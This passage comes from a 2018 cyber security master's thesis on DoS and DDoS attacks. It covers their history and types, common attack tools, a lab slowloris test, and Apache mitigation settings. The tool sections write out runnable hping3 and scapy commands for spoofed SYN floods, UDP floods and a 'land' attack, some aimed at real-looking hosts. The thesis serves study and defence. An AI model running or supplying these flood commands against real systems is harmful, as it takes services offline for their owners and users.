
THE REPUBLIC OF TURKEY 

   BAHCESEHIR UNIVERSITY  

 

 

 

 

 

 

DOS AND DDOS ATTACKS AND MITIGATION 

METHODS 

Master`s Thesis 

 

 

MEHMET MURAT DENKTAŞ 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

İSTANBUL, 2018 



 



 

THE REPUBLIC OF TURKEY 

BAHCESEHIR UNIVERSITY 

 

GRADUATE SCHOOL OF NATURAL AND APPLIED 

SCIENCE 

CYBER SECURITY 

 

DOS AND DDOS ATTACKS AND MITIGATION 

METHODS 

 

Master`s Thesis 

 

 

 

MEHMET MURAT DENKTAŞ 

 

 

 

 

 

SUPERVISOR: ASST. PROF. AHMET NACİ ÜNAL 

 

 

 

 

İSTANBUL, 2018



 

THE REPUBLIC OF TURKEY 

BAHCESEHIR  UNIVERSITY 

 

GRADUATE SCHOOL OF NATURAL AND APPLIED SCIENCES  

CYBER SECURITY 

 

Name of the thesis: DoS and DDoS Attacks and Mitigation Methods 

Name/Last Name of the Student: Mehmet Murat DENKTAŞ 

Date of the Defense of Thesis:05.01.2018 

 

The thesis has been approved by the Graduate School of Natural and Applied 

Science. 

 

        

Prof. Nafiz ARICA 

                                                                                        Graduate School Director 

              Signature 

 

 

 

I certify that this thesis meets all the requirements as a thesis for the degree of 

Master of Science.   

     

 

 

      Asst.Prof. Ahmet Naci ÜNAL 

                         Program Coordinator 

              Signature 

 

 

This is to certify that we have read this thesis and we find it fully adequate in 

scope, quality and content, as a thesis for the degree of Master of Arts. 

 

                

 

Examining Committee Members        Signature____  

 

 

Thesis Supervisor     ----------------------------------- 

Asst. Prof. Ahmet Naci ÜNAL 

    

 

Member      ----------------------------------- 

Asst. Prof. Pınar SARISARAY BÖLÜK 

 

 

Member      ----------------------------------- 

Asst. Prof. Tayfun ACARER



iii 

 

ABSTRACT 

DOS AND DDOS ATTACKS AND MITIGATION METHODS 

Mehmet Murat DENKTAŞ 

Cyber Security 

Thesis Supervisor: Asst.Prof. Ahmet Naci ÜNAL 

January 2018, 50 pages 

This study deals with Denial of Service (DoS) and Distributed Denial of Service Attacks 

(DDoS), tools used by attackers and effective mitigation techniques. Different types of 

DoS and DDoS Attacks will be analyzed in different scenarios. The architecture of DDoS 

Attacks will also be explained thoroughly in the thesis. Finally, in this study, I will present 

different type of mitigation techniques to minimize effect of DoS and DDoS Attacks in 

real time network and list the incident management process. 

Key words: Denial of Service, Distributed Denial of Service, Attack, Mitigation, Security  

        Onion.  
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ÖZET 

 

HİZMET ENGELLEME VE DAĞITIK HİZMET ENGELLEME SALDIRILARI 

VE HAFİFLETME YÖNTEMLERİ 

 

Mehmet Murat DENKTAŞ 

 

Siber Güvenlik 

 

Tez Danışmanı:  Yrd. Doç. Dr. Ahmet Naci ÜNAL 

 

Ocak 2018, 50 sayfa 

 

Bu çalışma, hizmet engelleme ve dağıtık hizmet engelleme saldırıları, saldırganların 

kullandığı araçlar ve bu saldırılara karşı alınabilecek, saldırıların etkilerini hafifletme 

teknikleri ile ilgilidir. Farkı saldırı tipleri değişik senaryolarda incelenmiştir. Çalışmada 

dağıtık hizmet engelleme saldırılarının yapısı açıklanmıştır. Sonuç olarak, farklı 

tiplerdeki hizmet engelleme ve dağıtık hizmet engelleme saldırılarının etkilerini en aza 

indirmek için uygulanabilecek etkili hafifletme yöntemleri ve müdahale yöntemleri 

sunulmuştur. 

 

Anahtar Kelimeler: Hizmet Engelleme, Dağıtık Hizmet Engelleme, Saldırı,  

                       Hafifletme, Security Onion.
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ABBREVIATIONS 

 
ACL  : Access Control List 

BGP  : Border Gateway Protocol 

DoS  : Denial of Service      

DDOS  : Distributed Denial of Service  

DNS  : Domain Name System 

ELSA  : Enterprise Log Search and Archive 

HTTP  : Hyper Text Transfer Protocol 

ICMP  : Internet Control Message Protocol 

IDMS  : Intelligent DDoS Mitigation System 

IETF  : Internet Engineering Task Force 

IDS  : Intrusion Detection System 

IP  : Internet Protocol 

IPS  : Intrusion Prevention System 

ISP  : Internet Service Provider 

LOIC  : Low Orbit Ion Cannon 

MX  : Mail Exchanger 

NIST   : National Institute of Standards and Technology  

POP  : Post Office Protocol 

RFC  : Request for Comment 

RUDY  : Are You Dead Yet     

SMTP  : Simple Mail Transfer Protocol 

TCP  : Transmission Control Protocol 

UDP  : User Datagram Protocol



 

1. INTRODUCTION 

A denial of service attack is an attack on a computer or on a network that aims to reduce, 

restrict or prevent a legitimate user to reach her or his resources or services available for 

their use. It is shortly called a DoS attack.  This malicious action threatens ‘Availability’ 

component of the ‘Information Security Triad’. It is the most common cyber-attack we 

are facing within the cyber world today and it can cause loss of money, prestige and time. 

It is such a popular cyber-attack method because it is easy to conduct. Attacker only needs 

a connection, a (D)DoS tool and IP information of the target. There are many ways to 

prevent user to access services and everyday new DoS vulnerabilities are being 

discovered. Since the beginning of the new millennium, DoS attacks have matured from 

only being annoyances to serious and high-profile threats to e-commerce, government 

institutions and many business enterprises (Yu 2014). 

There are two types of Denial of Service attacks: Local DoS and Network Based DoS 

attacks (Sklyarov 2006). There are two ways to launch local a DoS attack; an attacker 

runs programs locally to stop a local service or kills the process on a local machine. Once 

the service has stopped, it will not be available for the legitimate user. Another way to 

launch local DoS is to consume all local resources preventing the user’s ability to run 

other programs or, consuming all available resources for the machine to run properly. 

The next category is network-based DoS attack. These attacks are conducted remotely. 

We can dissect this category into two parts: The first is malformed packet attack and the 

second is packet flood attack. The method of the malformed packet attack is to send some 

ill-formed packets to a host and reduce the performance of the network or crush the 

system. Malformed sent packets can be too long packets such as Ping of Death Attack or 

wrongly fragmented packets such as the Tear Drop Attack. Both of them can cause to 

system crash or reboot. These attacks exploit weakness of the network protocols which 

are the set of rules to manage the data transfer between the devices. Types of protocols 

are Transmission Control Protocol (TCP/IP), Internet Protocol (IP), Internet Address 

Protocol (IP Address), Post Office Protocol (POP), Simple Mail Transport Protocol 

(SMTP), File Transfer Protocol (FTP), Hyper Text Transfer Protocol (HTTP), Ethernet, 

Telnet. 
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The Second type of attack which launched through network is the packet flood. This is 

the most common type of attack because it can be launched remotely (Sklyarov 2006). 

Packet flooding designed to consume all available network bandwidth of target host or 

server via sending more packets than they can handle. Another way to launch packet 

flooding attacks to send incomplete connection requests to the victim until the victim`s 

memory buffer is full. Once this buffer is full no legitimate connection occurs. 

A distributed denial of service (DDoS) attack is; two or more persons, bots or other 

compromised systems which attack a single target causing the system to slow down or 

shut down, thereby denying it’s users the ability to use it. During DDoS attacks, an online 

service can be brought down by overwhelming it with traffic from multiple sources 

(Bhuyan et all. 2013, pp.537-556). 
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2. GENERAL INFORMATION 

Generally; denial-of-service (DoS) attacks are designed to deny legitimate users access 

to websites and services by overwhelming them with illegitimate connections, requests 

or traffic. A distributed denial-of-service attack is when the DoS attacks are being done 

by multiple attackers who are real hackers or their bot networks. While most DoS attacks 

can be mitigated with little effort, defending against DDoS attack is a big challenge. 

DDoS attacks are launched easily and it is very hard to find the source. This makes them 

very popular amongst hackers. Cybercriminals are increasingly turning to Distributed 

Denial of Service (DDoS) this year, as 33% of organizations faced such an attack in 2017-

up from just 17% in 2016, according to a new report from Kaspersky Lab. This huge 

increase in the cyber threat area has meant that all organizations are potential DDoS attack 

victim (Khalimonenko, Kupreev and Ilganaev 2017). 

2.1 HISTORY 

In the early years of the internet, motivation for DoS attacks was only for fun and 

curiosity. Later in the middle of the 1990s, with the increasing popularity of the internet, 

DoS attacks drew more attention in the cyber world. 

In February 2000, popular websites, such as CNN, Amazon and Yahoo were attacked by 

“Mafiaboy”, 15-year-old Michael Calce. His “Project Rivolta,” took down the most 

popular websites (Garber 2000, pp.12-17). 

On October 21, 2002, all of the 13 root DNS servers were hit by DDoS attack (McGuire 

and Krebs 2002). Some of the Domain Name Servers were unreachable for legitimate 

user requests because of the attack traffic. 

In 2007, Estonian national internet infrastructure was hit by attackers. This was the start 

of cyber warfare term. 

In 2008, Georgian government websites were hit by DDoS cyber-attack (Korns and 

Kastenberg 2008, p.60). 

In December 2010, WikiLeaks-Related DDoS Attacks happened. Online payment and 

financial services firms were hit with a wave of DDoS attacks after blocking payments to 

Wikileaks (Pras et al. 2010). 
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In March 2013, Spamhaus, a spam mail filtering company, was hit by a DDoS attack after 

adding a web hosting company called Cyberbunker to its blacklisted sites. Cyberbunker 

and other hosting companies hire hackers to shut down Spamhaus using botnets (Bisiaux, 

2014, pp.5-9). 

In December 2015, Turkish .tr DNSs were hit with massive DDoS attack. 

In October 2016, Mirai IoT botnet perpetrated 1 Tbps high profile DDoS attack against 

DNS, crippling many of the world's popular websites offline (Dobbins 2016). 

2.2 DENIAL OF SERVICE ATTACK METHODS 

Generally, a DoS/DDoS attack categorized by the attack methods or the intention of the 

attack as each attack goals to exhaust different type of resource. According to this 

perspective, we can categorize DoS/DDoS attacks as; Volumetric Attacks, Protocol 

Attacks, Application Layer Attacks. 

2.2.1 Volumetric Attack 

DDoS attacks aims to drain a target’s overall network capacity or available bandwidth. 

In a volumetric attack hacker sends a high amount of traffic, or connection request, to a 

targeted network to overwhelm its resources. These attacks work to flood the victim 

network or server in the aim of slowing down or stopping their services. When the 

victim’s bandwidth is full, legitimate users cannot reach the services. Typically request 

sizes are in the 100’s of Gbps; however, these packet sizes growing bigger. Even the ISPs 

are not able to stand against such a big volume of attacks. Additionally, attackers utilize 

some amplification techniques such compromised network of computers (botnets) to 

make the affects worse. 

2.2.2 Protocol Attacks 

A protocol is a set of rules managing how things work in a certain technology so as to 

make standardization. The internet works on a worldwide agreed set of standard protocols 

which define the language to connect network devices. These protocols were agreed and 

documented (Requests For Comments-RFCs) while the infrastructure of the internet was 

building by the Internet Engineering Task Force (IETF). Once these protocols are defined 

and started to common use, it is difficult to change. They also designed with a focus on 
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enabling function, not counting on to be abused. Because of that reasons, hackers tend to 

abuse these weaknesses to conduct cyber-attack.  

TCP, UDP, ICMP are some of the classic examples of these protocols. Attacker exploits 

a weakness in the way how they work. Although the volume of traffic in this kind of 

attack is very low, the result of a constant flow of incomplete or malformed connection 

requests result with network device’s connection table completely filled and no legitimate 

user can start a TCP or HTTP session with the target. The result is a denial of service.  

Protocol attacks are well-known by the security professionals because of the structures 

and popularity of the protocols. However, protocol attacks are still very common because 

they are also easy to learn by malicious users and easy to build tools to exploit its 

weakness. 

2.2.3 Application Layer Attacks 

These attacks are also often called as “slow-rate” or “low and slow” attacks. This type of 

attack aims at exhausting the CPU or RAM resources of the server(s) which an online 

application such as a website is being hosted on, by basically sending a tremendous 

number of requests from malicious users until there are no resources left to handle the 

requests of the actual users. This attacks one of the hardest to detect because the malicious 

requests often look like coming from legitimate users of the application, which can make 

it very hard to distinguish between real traffic and malicious traffic. The most common 

types of layer 7 DDoS attacks are those targeting DNS services, HTTP and HTTPS. And 

like other types of DDoS attacks, they have one goal: to take out an application, a website 

or an online service (Pavithra et al. 2014). 

As it internet`s infrastructure is vulnerable in nature, DoS/DDoS attacks are always 

attractive for the cyber criminals. There are bunch of free attack tools in the market so it 

makes DoS/DDoS attacks very popular for the evil purpose people. Most popular attack 

tools are; Hping3, Nping, Juno, T50, Apache Jmeter, DoSHTTP, Mz, Hyanae, DDoSim, 
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3. DATA AND METHOD 

3.1 DENIAL OF SERVICE ATTACK TOOLS 

There are tens of network testing and attacking tools on the market to conduct DoS/DDoS 

test in our network. Hping3, Nping, Juno, T50 , Apache Jmeter, DoSHTTP, Mz, Hyanae, 

DDoSim, LOIC, XOIC, HULK, RUDY, Tor`s Hammer, OWASP DOS HTTP POST, 

PyLoris, DAVOSET, scapy, slowhttptest and lots of others. These tools mostly developed 

by security professionals to evaluate systems how strong they are against DoS/DDoS 

attacks. But these tools could be used for evil purpose. 

3.1.1 LOIC (Low Orbit Ion Canon) 

The LOIC was originally developed by Praetox Technologies as a stress testing tool. It 

can perform a simple DoS attack by sending a large sequence of UDP, TCP or HTTP 

requests to the victim server. It’s a very easy tool and hacker only needs to know for IP 

address or the URL of the target (Pras et al. 2010). 

This tool was used by the popular hacktivist group Anonymous against many big 

companies like Amazon and PayPal. Anonymous has improved this tool adding an option 

to connect IRC (Internet Relay Chat) infrastructure. This made LOIC to be controlled 

using IRC protocol and make it possible DDoS attack. 

3.1.2 XOIC 

XOIC is another nice DOS attacking tool. It performs a DOS attack a victim server with 

an IP address. It has options to select attack port and protocol. With XOIC it is possible 

to send TCP/HTTP/UDP/ICMP attack packets (Hudaib 2015, p.22). 

3.1.3 HULK (HTTP Unbearable Load King) 

HTTP unbearable load king has ability to take down the server in a minute as it directly 

affects the server’s ability to answer legitimate request. It has ability to perform TCP SYN 

flood and multi-threaded HTTP GET flood attacks. These packets can be sent with 

different URL and header patterns that can hide the referrer for each request (Badve  and 

Gupta 2016, pp.683-693). 

3.1.4 DDOSIM—Layer 7 DDOS Simulator 

DDOSIM is an application layer DDoS attack tool that uses the random IP addresses to 

stimulate several zombies. All zombies create full TCP connection. It performs HTTP-
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GET flood attack to a WEB server from random IP addresses and random ports. This tool 

is written in C++ and runs on Linux systems (Alcorn and Chow 2014, pp.1-6). 

3.1.5 R-U-Dead-Yet 

R-U-Dead-Yet is a HTTP post DOS attack tool. It is also known as RUDY. It performs 

low and slow attacks like slowloris. It sends numerous small packets, at a very slow rate 

and fills the backlog of the victim server, while the long ‘'Content-Length’ field prevent 

the server from closing the connection. Ultimately, the attack requests drain the targeted 

server’s connection table, causing the server to crash. This tool comes with an interactive 

console menu. It detects forms on a given URL and lets attacker select which forms and 

fields should be used for a POST-based DOS attack. Low and slow attack traffic appears 

to be normal HTTP requests, these attacks often cannot be detected by security devices 

(Damon et al. 2012, pp.21-29). 

3.1.6 Tor’s Hammer 

Tor’s Hammer is a python based DoS testing tool. It performs DoS/DDoS attack sending 

slow post requests using TOR network. It uses random source IP address making it 

difficult to trace back the source IP address of the attacker. It is an effective tool that can 

kill Apache or IIS servers in few seconds (Packetstormsecurity.com 2011) 

3.1.7 PyLoris 

PyLoris is another python based DoS vulnerability testing tool for web servers. It 

performs slowloris attack via creating large numbers of TCP connection to a server and 

keeping them open untill the fill the connection capacity of the server. It can be used to 

perform DOS attacks on a service. This tool can utilize SOCKS proxies and SSL 

connections to perform an attack. It can target various protocols, including HTTP, FTP, 

SMTP, IMAP, and Telnet. The latest version of the tool comes with an easy-to-use GUI 

and it can also use TOR network (Holmes 2013, pp.2099-2104). 

3.1.8 OWASP Switchblade 

OWASP Switchblade is a denial of service tool used for testing the availability, 

performance and capacity planning of a web server. It can be also used for malicious 

purpose to conduct SSL connect, HTTP post and slowloris DoS attacks (Anon 2017). 
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3.1.9 Davoset 

Davoset is a command line tool for conducting DoS/DDoS attacks on the sites via Abuse 

of Functionality and XML External Entities vulnerabilities at other sites. This method 

uses external sites to attack other sites. 

3.1.10 GoldenEye HTTP Denial Of Service Tool 

Golden-Eye is a HTTP/S Layer 7 Denial-of-Service Testing Tool which performs the http 

flood test against a web server. It uses KeepAlive (and Connection: keep-alive) paired 

with Cache-Control options to persist socket connection busting through caching (when 

possible) until it consumes all available sockets on the HTTP/S server. This tool can 

execute on the Windows, Linux, and MACOS (Anon 2017). 

3.1.11 Hping3 

Hping3 is a command-line oriented TCP/IP packet assembler/analyzer. It supports TCP, 

UDP, ICMP and RAW-IP protocols, has a traceroute mode, the ability to send files 

thorough a covered channel, and many other features. It is inspired by the ping but it has 

lots of additional ability so that hackers and network admins craft packets to test a 

network, check firewall rules, find entry points and test network device’s behaviors (Anon 

2017). 

Hping can be used in the area of; 

i. To create customized TCP, UDP, ICMP and RAW-IP packets 

ii. Testing network devices` performance (firewalls, IPS/IDS, routers etc.) 

iii. DoS tests 

iv. Advanced port scanning 

v. File transfer via covert channel 

vi. Remote OS fingerprinting 

Although hping3 was mainly used as a security tool in the past, it can be used in many 

ways by hackers to DoS/DDoS a network or a server. In this paper, I will conduct 

DoS/DDoS tests to show the power of the hping3. 

Hping3 works on the following unix-like systems: Linux, FreeBSD, NetBSD, OpenBSD, 

Solaris, MacOs X, and Windows. I will use hping3 on KALI Linux. 
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Figure 3.1: Installation of Hping3 on Kali Linux. 

 

Hping3 options are listed on the Figure 3.2. 

Figure 3.2: Hping3 options. 

 

In default hping3 creates TCP packets. For other types of packets modes, parameters can 

be used as; 

-0 --rawip Raw ip mode 

-1 --icmp Icmp packet mode 

-2 --udp UDP packet mode 

-8 –scan Scan mode 
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-9 –listen listen mode 

The available options are listed below; 

vii. flood: send packets as fast as possible. Don't show replies. 

viii. --rand-dest: random destination address mode. 

ix. -V <-- Verbose 

x. -c --count: packet count 

xi. -d --data: data size 

xii. -S --syn: set SYN flag 

xiii. -w --win: winsize (default 64) 

xiv. -p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec 

xv. -s --baseport: base source port (default random) 

Basic usage and some examples are shown below; 

Send TCP SYN packets to port 0 on host www.test.edu (note that hping3 will increment 

the source port by 1 for each packet sent): 

hping3 <IP or URL> -S -V 

Send TCP SYN packets to port 443 on host bau.edu: 

hping3 www.bau.edu -S -V -p 443 

Send TCP packets to port 443 on host www.bau.edu with the SYN + ACK flags set: 

hping3 www.bau.edu -S -A -V -p 443 

Send TCP packets to port 443 on host www.bau.edu with the SYN + ACK + FIN flags 

set: 

hping3 www.bau.edu -S -A -F -V -p 443 

Send TCP SYN packets every 5 seconds to port 443 on host www.bau.edu: 

hping3 www.bau.edu -S -V -p 443 -i 5 

Send TCP SYN packets every 100,000 microseconds (i.e. every 0.1 second or 10 per 

second) to port 443 on host www.bau.edu. Note that verbose has been removed: 

hping3 www.bau.edu -S -p 443 -i u100000 
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Send TCP SYN packets every 10,000 microseconds (i.e. every 0.01 second or 100 per 

second) to port 443 on host www.bau.edu: 

hping3 www.bau.edu -S -p 443 -i u10000 

Send TCP SYN packets every 10,000 microseconds (i.e. every 0.01 second or 100 per 

second) to port 443 on host www.bau.edu. Stop after 500 packets: 

hping3 www.bau.edu -S -p 443 -i u10000 -c 500 

Send UDP packets to port 111 on host www.bau.edu (argument --udp can be substituted 

with -2): 

hping3 www.bau.edu --udp -V -p 111 

Send ICMP echo request packets to host bau.edu (argument --icmp can be substituted 

with -1): 

hping3 www.bau.edu --icmp -V 

Send ICMP timestamp request packets to host www.test.edu: 

hping3 www.bau.edu --icmp --icmp-ts -V 

Portscan TCP ports 100 to 110 on host test.edu (argument --scan can be substituted with 

-8) 

hping3 www.bau.edu -V --scan 100-110 

Send UDP packets spoofed to be from source host 192.168.1.150 to host www.bau.edu 

hping3 www.bau.edu --udp --spoof 192.168.1.150 

Send UDP packets spoofed to be from various random source IP addresses to host 

www.test.edu 

hping3 www.test.edu --udp --rand-source 

Send UDP packets with the data portion padded with 100 bytes to host www.test.edu 

hping3 www.test.edu -V --udp --data 100 

Send UDP packets with the data portion padded with 100 bytes but containing the 

contents of payload.txt to host www.test.edu (the payload will be truncated if it is smaller 

than what is specified by the --data argument) 
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hping3 www.test.edu -V --udp --file payload.txt --data 100 

And this command executes SYN Flood from spoofed IP addresses. 

hping3 --rand-source -p 80 -S www.test.edu --flood 

3.1.12 Scapy 

Scapy is a powerful interactive packet crafting python program. It is able to create custom 

packets and decode packets of protocols, send them to the network, sniff them, analyze 

packets layer by layer, and much more. It can easily handle most classical tasks like 

scanning, tracerouting, probing, sniffing, attacks or network discovery (it can replace 

hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.). It also 

performs very well at a lot of other specific tasks that most other tools can't handle, like 

sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN 

hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. 

(Secdev.org, 2017). 

Scapy lets you crate completely customized packets. It uses python interpreter as a 

command board. It is similar to other packet crafting tools like hping and nmap but it is 

much more customizable. If someone understands the TCP/IP structure, he/she can use 

scapy as an unlimited hacking tool. 

Figure 3.3: Interactive scapy prompt. 

 

Open a terminal and type scapy to run. This “>>>” prompt shows, you are in interactive 

mode. From now on all commands will be interpreted by scapy interpreter. 

As I mentioned above, the advantage of scapy over other packet crafter tools is its ability 

build any packet you desired. Generally, the TCP/IP stack of OS will build a RFC-

compliant packet whenever you want to communicate over the network. We can create a 
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custom packet that may not be RFC-compliant for the purposes of gathering information 

on our target (i.e., scanning) or possibly conducting a DoS attack test by creating a packet 

that causes the victim system to crash (syn flood, ping of death etc.).  

With scapy it is possible to create packets layer by layer. One of the basic thing to create 

a packet and decide what kind of packet you want to interact with, type  

>>>ls() command to lists out all the supported protocols. 

ls(IP) command in interactive mode shows which are the default values the specified 

protocols have. We can customize all the values. 

Figure 3.4: The lists of all the supported protocols of scapy. 

 

As seen on the screenshot above, we can add IP and TCP layers to our custom packets 

and can change the structure. We can use scapy to craft a packet with just about any value 

in any of the IP header or TCP header fields, such as window size, flags, fragmentation 

field, acknowledgement value, sequence number, etc. 

Scapy builds packets layer by layer. It means that, scapy builds OSI layer like, 

Ethernet/IP/TCP|UDP/Application. The ‘/’ joints layers together. We can also say, 

ethernet frame has a payload which is the IP packet, IP packet has a payload which is a 

TCP or UDP packet. 

Creating a simple IP packet in scapy, we first choose a variable that represents our packet 

and then define the packet attributes one by one. Here I create my IP packet as "packet" 

and then give attribute time to live (ttl) of 64. 

>>>packet=IP(ttl=64) 
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Figure 3.5: Defining a variable. 

 

Screenshot shows that defining "packet" as an IP packet with a TTL of 64. 

>>>packet.show command shows the different properties of the packet we created and 

gives idea to us which properties we may change to customize our packet according to 

our intention. 

Figure 3.6: Properties of IP packet we created. 

 

Figure 3.6 represents properties of IP packet we created. 

Further, we can add more attributes to variable packet such as source and destination IP 

address. 

>>>packet.src=’192.168.2.100’,  

>>>packet.dst=’192.168.2.101’ 
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Figure 3.7: Sample IP packet. 

 

Figure 3.7 represents the IP packet created. 

I continue to build up the packet and utilizing scapy`s capability to create a malicious 

packet and then send it to a target system. Windows Server 2003 is vulnerable to the 

"land" attack. This is a DoS attack that sends an oversized packet to the target with the 

same source and destination IP address and the same source and destination port. It 

doesn't always crash the system, but will slow it down considerably. For web servers, 

slowing them down is effectively cause a DoS. 

Scapy has substantial number of built-in functions. We can list these functions by typing: 

>>>lsc() 

Figure 3.8: Scapy`s functions. 

 

An example of the land attack packet in scapy as follows. Scapy can take all of the 

attributes in a single line. So, let's create our "land" attack packet and send it 3000 times. 

We can do this by typing; 

>>>send(IP(src=’192.168.1.122’,dst=’192.168.1.122’)/TCP(sport=135,dport=135), 

count=3000) 
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Send, is the command 

IP, defines the protocol for IP addresses 

src="192.168.1.122", is the source IP address 

dst="192.168.1.122", is the destination IP address 

TCP, defines the protocol for the ports 

sport=135, defines the source port 

dport=135, defines the destination port 

count=3000, defines the number of packets we send 

Another attack command example in one line; SYN Flood attack; 

>>>send(IP(src=RandIP('78.0.0.0/16'),dst='www.example.com')/TCP(sport=RandShort

(), dport=80), flags="S"), loop=1) 

Send, is the command 

IP, defines the protocol for IP addresses. 

src=RandIP('78.0.0.0/16'), is the source address which is chosen randomly in the 

78.0.0.0/16 network. 

dst='www.example.com'), is the destination URL. 

TCP(sport=RandShort(), dport=80) randshort(), function is used to generate 

random port numbers for the sport (source port) of the TCP packet. The destination port 

(dport) is set to port 80 (HTTP). The TCP connect flag is set to SYN using the flags 

option. 

loop=1, is to send the same packet over again. 

3.1.13 SlowHTTPTest 

SlowHTTPTest is a security testing tool that can be used to test web servers against some 

Application Layer Denial of Service attacks. It performs most common low-bandwidth 

Application Layer DoS attacks, such as slowloris, Slow HTTP POST, Slow Read attack 

by draining existing connection pool on the web server (Tayama and Tanaka 2017, 

pp.350-359). 
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Slowloris and Slow HTTP POST DoS attacks exploits the weakness of the HTTP 

protocol, by design, requires requests to be completely received by the server before they 

are processed. If an HTTP request is not complete, or if the transfer rate is very low, the 

server keeps its resources busy waiting for the rest of the data. This tool is sending partial 

HTTP requests to the server until server cannot respond to legitimate requests.  

Slow Read DoS attack aims to hit the same resources as slowloris and slow POST, but 

instead of prolonging the request, it sends legitimate HTTP request and reads the response 

slowly. 

3.2 DENIAL OF SERVICE ATTACK TESTS 

3.2.1 Slowloris Attack Against Web Servers 

A Slow HTTP Denial of Service or Slowloris is a Denial of Service (DoS) tool invented 

by Robert Hanson (known as “RSnake”). The attacker initiates HTTP connections to the 

web server and slowly issues partial HTTP requests using a Perl script ‘slowloris.pl’ and 

continues to send subsequent headers at regular intervals to keep sockets open (Damon et 

al. 2012, pp.21-29). This action will be repeated until lock out the web server`s ability to 

response new connection requests. These are regular TCP connections and three-way 

handshakes are completed. If enough connections are opened to the server in this fashion, 

it is quickly unable to handle legitimate requests. Slowloris is a low bandwidth attack 

tool. The advantage of the attacker in a slowloris attack is that it requires very little 

bandwidth for the attacker unlike packet flood. 

 A slowloris attack targets thread based web servers, such as APACHE and some other, 

which wait for complete HTTP headers to be received before processing the connection. 

Thread based or threated web servers have a time out value to wait for partial HTTP 

requests to complete (Menasce 2003, pp.78-81). This time out value is reset as soon as 

the client sends some more data and the timeout value will start again from 1. A malicious 

user or attacker purposely sends incomplete HTTP requests and resets the timeout value 

every time by sending partial HTTP requests frequently. Doing this, before time out is 

reached, the HTTP connections will remain open. Once all connection capacity is 

consumed the server doesn’t reply any other legitimate request. As a result, DoS happens. 

In Apache web server, the time out value is set to 300 seconds by default. Event based 

web servers like ISS and Nginx, are not vulnerable to slowloris attack because they can 
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handle large numbers of simultaneous connections by giving higher priority to complete 

headers. Lighthttpd is also vulnerable to slowloris (Tripathi and Singh 2016, pp.454-463). 

A Slow HTTP DoS attack may not be detected by Intrusion Detection Systems (IDS) 

because the attack does not contain any malformed requests. The HTTP request will seem 

legitimate to the IDS and will pass it onto the web server. Figure 3.9 Shows slowloris 

attack architecture. 

Figure 3.9: Slowloris attack architecture. 

 

 

I will use ‘slowhttptest’ tool to simulate slowloris attack.  This tool could implement 

several OSI Layer 7 (Application Level) DoS attack, including slowloris. In my lab 

environment, I used KALI 2016.2 VMware machine as an attacker and Bee-Box virtual 

machine as victim Apache Web Server.  

Attacker : KALI Linux 192.168.1.61 

Victim  : Ubuntu Linux Apache Web Server 192.168.1.63 

I ran the command below on my attacker machine. 

 

 

 

 

Uncompleted http GET request

Uncompleted http GET request

Uncompleted http GET request

Uncompleted http GET request

Uncompleted http GET request

Attacker



19 

 

Figure 3.10: Kali Linux slowhttptest command. 

 

After this command, test parameters, current connections, service situation is reported. 

Figure 3.11: slowhttptest command connection status. 

 

I ran this test for 90 seconds. I observed that at 6th second service was locked down and 

not reachable for legitimate users. While command is running I was not able to reach the 

targeted webpage. Slowhhtptest output is written to .html and .csv file. (-g -o parameters 

on the command line). 
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Figure 3.12: slowhttptest .html file output. 

 

Table 5.1 represents .csv file output from the slowhttptest command. 
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Table 5.1: slowhttptest command .csv file output. 

Seconds Closed Pending Connected 
Service 

Available 

0 0 1 0 1000 

1 0 17 142 1000 

2 0 177 145 1000 

3 0 335 150 1000 

4 0 435 160 1000 

5 0 577 176 1000 

6 0 699 210 0 

7 0 752 248 0 

.     

.     

90 0 697 303 0 

91 0 697 303 0 

 

As seen on the .csv file output service is not available from the 6th second. From this table, 

one can infer pending connections, established connections and service situation. 

A number of techniques exist for preventing and mitigating slow HTTP DoS attacks in 

Apache HTTP server. Three of the most popular and easiest to implement techniques are 

listed hereunder. Other techniques for preventing and mitigating slow HTTP DoS attacks 

are the use of load balancers and iptables. 

One of the methods to mitigate slowloris is using mod_reqtimeout (Tripathi and Singh 

2016, pp.454-463). Since Apache HTTP Server 2.2.15, mod_reqtimeout module is 
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included by default. mod_reqtimeout can be used to set timeout values for receiving 

request headers and body from client. If a client fails to send header or body data within 

the configured time, a 408 REQUEST TIME OUT error is sent by the server. 

The following command line is an example of a configuration that can be used with 

mod_reqtimeout. 

<IfModule mod_reqtimeout.c> 

  RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500 

</IfModule> 

The directive in the command allows up to 20 seconds for header data to be sent by a 

client. If a client sends header data at a rate of 500 bytes per second, the server will allow 

maximum 40 seconds for the headers to complete. 

In addition, the configuration will allow for up to 20 seconds for body data to be sent by 

the client. As long as the client sends header data at a rate of 500 bytes per second, the 

server will wait up to 40 seconds for the body of the request to complete. 

Another technique for slowloris mitigation is using mod_security (Ristic 2010). It is an 

open source web application firewall (WAF) that might be used with Apache web server. 

mod_security makes use of rules that can be applied to carry out specific functions. 

The following rules may be used to mitigate a slow HTTP DoS attack. 

SecRule RESPONSE_STATUS "@streq 408" "phase:5,t:none,nolog,pass, 

setvar:ip.slow_dos_counter=+1, expirevar:ip.slow_dos_counter=60, id:'1234123456'" 

SecRule IP:SLOW_DOS_COUNTER "@gt 5" "phase:1,t:none,log,drop, 

msg:'Client Connection Dropped due to high number of slow DoS alerts', 

id:'1234123457'" 

These rules identify when Apache HTTP server triggers a 408 status code and tracks how 

many times this happened while keeping the data in IP-based persistent storage. If this 

event happens more than 5 times in 60 seconds, following connection requests for that IP 

address will be dropped by the rules applied in with mod_security, for a period of 5 

minutes. 
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We can also recover Slowloris attack by simply blocking the inbound traffic and resetting 

the HTTP daemon or service. 

3.2.2 Directed Broadcast Attack (SMURF Attack) 

Denial of Service Attacks classified into many categories according how they are 

launched and how they affect the victim. Reflective attacks use middle agents or 

intermediary systems for this attack; which the attacker doesn’t directly send packets to 

the victim. Smurf is the classic example of the reflective attacks (Kumar 2007). 

Smurf attacks take advantage of the vulnerability of the Internet Protocol (IP) and Internet 

Control Message Protocol (ICMP). In this method attackers send number of ICMP echo 

requests (ping) to the intermediary network`s broadcast address. This intermediary 

network is also called amplifier. These ICMP packets have forged or spoofed source 

address of the victim`s IP address. Amplifier sites responds ICMP echo requests with 

ICMP echo replies directed to the victim. Hundreds of the ICMP echo reply packets flood 

the victim address resulting in the victim’s unresponsiveness for the legitimate requests. 

